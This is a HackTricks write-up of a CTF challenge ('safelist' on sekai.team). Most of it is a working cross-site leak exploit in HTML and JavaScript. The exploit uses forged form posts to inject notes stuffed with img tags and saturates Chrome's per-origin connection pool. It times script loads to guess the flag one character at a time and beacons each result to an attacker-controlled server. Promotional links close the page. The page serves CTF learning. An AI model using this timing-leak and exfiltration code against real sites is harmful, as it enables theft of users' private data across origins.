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In this exploit, @terjanq proposes yet another solution for the challenged mentioned in the following page:
{% content-ref url="connection-pool-by-destination-example.md" %} connection-pool-by-destination-example.md {% endcontent-ref %}
Let's see how this exploit work:
- The attacker will inject a note with as many
<img
tags loading/js/purify.js
as possible (more than 6 to block the origin). - Then, the attacker will remove the note with index 1.
- Then, the attacker will [make the bot access the page with the reminding note] and will send a request to
victim.com/js/purify.js
that he will time.- If the time is bigger, the injection was in the note left, if the time is lower, the flag was in there.
{% hint style="info" %} Tbh, reading the script I missed some part where the attacker makes the bot load the page to trigger the img tags, I don't see anything like that in the code {% endhint %}
<html>
<head>
<script>
const SITE_URL = 'https://safelist.ctf.sekai.team/';
const PING_URL = 'https://myserver';
function timeScript(){
return new Promise(resolve => {
var x = document.createElement('script');
x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
var start = Date.now();
x.onerror = () => {
console.log(`Time: ${Date.now() - start}`); //Time request
resolve(Date.now() - start);
x.remove();
}
document.body.appendChild(x);
});
}
add_note = async (note) => {
let x = document.createElement('form')
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"
let i = document.createElement("input");
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}
remove_note = async (note_id) => {
let x = document.createElement('form')
x.action = SITE_URL+"remove"
x.method = "POST"
x.target = "_blank"
let i = document.createElement("input");
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// }zyxwvutsrqponmlkjihgfedcba_
const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
var prefix = 'SEKAI{xsleakyay';
const TIMEOUT = 500;
async function checkLetter(letter){
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
await add_note(payload);
await sleep(TIMEOUT);
await timeScript();
await remove_note(1); //Now, only the note with the flag or with the injection existsh
await sleep(TIMEOUT);
const time = await timeScript(); //Find out how much a request to the same origin takes
navigator.sendBeacon(PING_URL, [letter,time]);
if(time>100){
return 1;
}
return 0;
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, 'start');
// doesnt work because we are removing flag after success.
// while(1){
for(const letter of alphabet){
if(await checkLetter(letter)){
prefix += letter;
navigator.sendBeacon(PING_URL, prefix);
break;
}
}
// }
};
</script>
</head>
<body>
</body>
</html>
Support HackTricks and get benefits!
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks github repo.